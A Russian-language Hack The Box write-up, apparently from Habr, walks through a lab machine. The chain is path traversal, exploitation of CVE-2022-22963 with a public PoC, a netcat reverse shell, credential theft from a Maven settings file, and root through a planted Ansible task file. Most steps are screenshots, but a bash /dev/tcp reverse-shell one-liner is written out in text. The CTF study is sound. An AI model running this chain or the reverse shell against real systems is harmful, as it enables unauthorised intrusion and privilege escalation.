Дисклеймер
Привет дорогой хтбшник) Перед прочтением статьи хотел попросить не судить мой разбор строго, так как это первая моя статья посвященная разбору машин HTB.
Всем желаю хорошего прочтения)
Получение флага user.txt
При сканировании видим открытый 8080 порт
![](https://habrastorage.org/getpro/habr/upload_files/3e4/a47/678/3e4a47678379c8c38bd5e149a0c2b151.png)
Перейдем на сайт по открытому 8080 порту
![](https://habrastorage.org/getpro/habr/upload_files/a48/5f7/93e/a485f793e640a0fe99bb140850ae8eb4.png)
Кнопки регистрации, авторизации, а также "Start Now" не рабочие
Нас интересует вкладка "Upload"
Перейдя по ней мы видим страницу следущего содержания
![](https://habrastorage.org/getpro/habr/upload_files/758/512/650/758512650e673f9dc19655af79a81c35.png)
Она позволяет загружать фалы только с расширением, которые могут быть у изображений
Загрузим какое-нибудь изображение и посмотрим, что из этого выйдет
Загрузив изображение он предлагает нам на него посмотреть перейдя по ссылке
![](https://habrastorage.org/getpro/habr/upload_files/341/dca/80a/341dca80a707c4f1975648759d296c8f.png)
Перейдя по указанной ссылке мы видим загруженное нами ранее изображение
![](https://habrastorage.org/getpro/habr/upload_files/893/e89/d6a/893e89d6a1e3de581e6508770faf6050.png)
Но в данном случае нас интресует непосредственно сам ориджин
Из него видно, что для получения изображения мы должны указать его название в параметре img на вкладке show_image
Перейдем в burp и попробуем атаку path traversal
Повезло, нагрузку получилось перебрать руками, так как оказалась очень простой
![](https://habrastorage.org/getpro/habr/upload_files/1ec/15c/213/1ec15c213db67b9e2c69277a8b7d8aed.png)
Видим логины пользователей
![](https://habrastorage.org/getpro/habr/upload_files/f47/43e/1c4/f4743e1c4d655cb787547f3ccb2c4556.png)
![](https://habrastorage.org/getpro/habr/upload_files/968/963/6e3/9689636e388d75b69f4f65b7fbf353c7.png)
Посмотрев их домашние директории видим, что флаг user.txt находится в домашней директории пользователя phil
![](https://habrastorage.org/getpro/habr/upload_files/6e4/b0a/dba/6e4b0adbabfc87e4a2ca004dbdb454f1.png)
Большего через path traversal мы не добьемся
Нужно узнать что за сервис висит на данном порту
Получим его баннер
![](https://habrastorage.org/getpro/habr/upload_files/2a8/405/15c/2a840515c4275819851ef26cdacc615f.png)
Поискав эксплоит в интернете находим рабочий PoC для CVE-2022-22963
![](https://habrastorage.org/getpro/habr/upload_files/57d/59c/24a/57d59c24a474238cb109d27524ea23f5.png)
Проверяем PoC и видим, что получилось создать файл в директории /tmp
![](https://habrastorage.org/getpro/habr/upload_files/d50/089/f61/d50089f61826ce43f8f97a2d32eef65b.png)
Создадим sh файл для получения шелла через netcat
![](https://habrastorage.org/getpro/habr/upload_files/af7/0ef/586/af70ef5867c82005eb9884b12cd5641e.png)
Доставляем файл через http python сервер
![](https://habrastorage.org/getpro/habr/upload_files/431/781/bee/431781bee9745159d1cc52205e7035e3.png)
![](https://habrastorage.org/getpro/habr/upload_files/4db/6a4/2d4/4db6a42d46297c1bf6e87d6f12863fb0.png)
Файл улетел на сервер
![](https://habrastorage.org/getpro/habr/upload_files/cb5/ce9/340/cb5ce9340a889c2cfa50c409e1572f13.png)
Открываем netcat лисенер на нашем хосте
![](https://habrastorage.org/getpro/habr/upload_files/6aa/04c/cda/6aa04ccda624a11bad4179f715e1d2af.png)
Дадим права на выполнение скрипта
![](https://habrastorage.org/getpro/habr/upload_files/022/5ed/842/0225ed842fd335079fea9b318379aabc.png)
Запускаем скрипт и получаем шелл
![](https://habrastorage.org/getpro/habr/upload_files/3e8/321/9b4/3e83219b4959e471a1988b78f7774145.png)
![](https://habrastorage.org/getpro/habr/upload_files/2f6/e8d/253/2f6e8d25344a2e0e3434510ea04cbddc.png)
Посмотрев, что у него в директории, видим скрытую папку .m2
![](https://habrastorage.org/getpro/habr/upload_files/bc0/56a/a9a/bc056aa9ac1a67808a1058c20e850e56.png)
В ней лежит файл setting.xml
![](https://habrastorage.org/getpro/habr/upload_files/c3a/ebf/f17/c3aebff17100f194c283bd864730f9c9.png)
Прочитав его видим пароль от пользователя phil
![](https://habrastorage.org/getpro/habr/upload_files/a78/f3c/838/a78f3c838ea0852740bc63da2ae8fca7.png)
Получаем шелл пользователя phil
![](https://habrastorage.org/getpro/habr/upload_files/451/bf6/ccc/451bf6cccf49f1dbf4bba74e7e9ce5c2.png)
И забираем флаг
![](https://habrastorage.org/getpro/habr/upload_files/3d5/ea4/c12/3d5ea4c1223cfd8383e9814712fc3c91.png)
Получение флага root.txt
Перейдем в папку с файлом который подгружается рутовым процессом
![](https://habrastorage.org/getpro/habr/upload_files/e53/ed0/c44/e53ed0c44a8088d60ec59db152a962a3.png)
Поискав немного в интернете находим, что можно подменить данный файл для повышения привелегий
Для этого создаем у себя на хосте файл такого содержания
![](https://habrastorage.org/getpro/habr/upload_files/67f/131/8cf/67f1318cf8371984555d7bee1121c300.png)
Подгружаем его командой curl, через пользователя phil, в директорию /opt/automation/tasks/ и даем ему любое название, но с расширением .yml
![](https://habrastorage.org/getpro/habr/upload_files/584/d9a/206/584d9a206b61d5f377456cab3e5d4e81.png)
После открывем netcat лисенер на нашей машине
![](https://habrastorage.org/getpro/habr/upload_files/c66/5bf/6f7/c665bf6f70bf7a34432d345ac270a8da.png)
От пользователя phil создаем sh файл следующей командой
echo '/bin/bash -i >& /dev/tcp/адрес_лисенера/3434 0>&1' > /tmp/root.sh
Затем необходимо выволнить перезагрузку ansible-playbook с указанием нашего файла
![](https://habrastorage.org/getpro/habr/upload_files/9e1/f20/567/9e1f20567746ed6bde7720a823a7255e.png)
Ура! Мы получили root права. С радостью забираем флаг и бежим его сдавать.
![](https://habrastorage.org/getpro/habr/upload_files/98d/d1d/dc4/98dd1ddc465cfacb79d999082101c2dc.png)
Всем желаю больше побед и успехов в решении подобных заданий!
QtRoS
Первая мысль:
Hidden text
Хоть бы слово на русском добавили или какую-то логическую связность на английском :) Воспринимается как набор слов.
uhahatbl_tv Автор
Немного поспешил)
Уже исправил)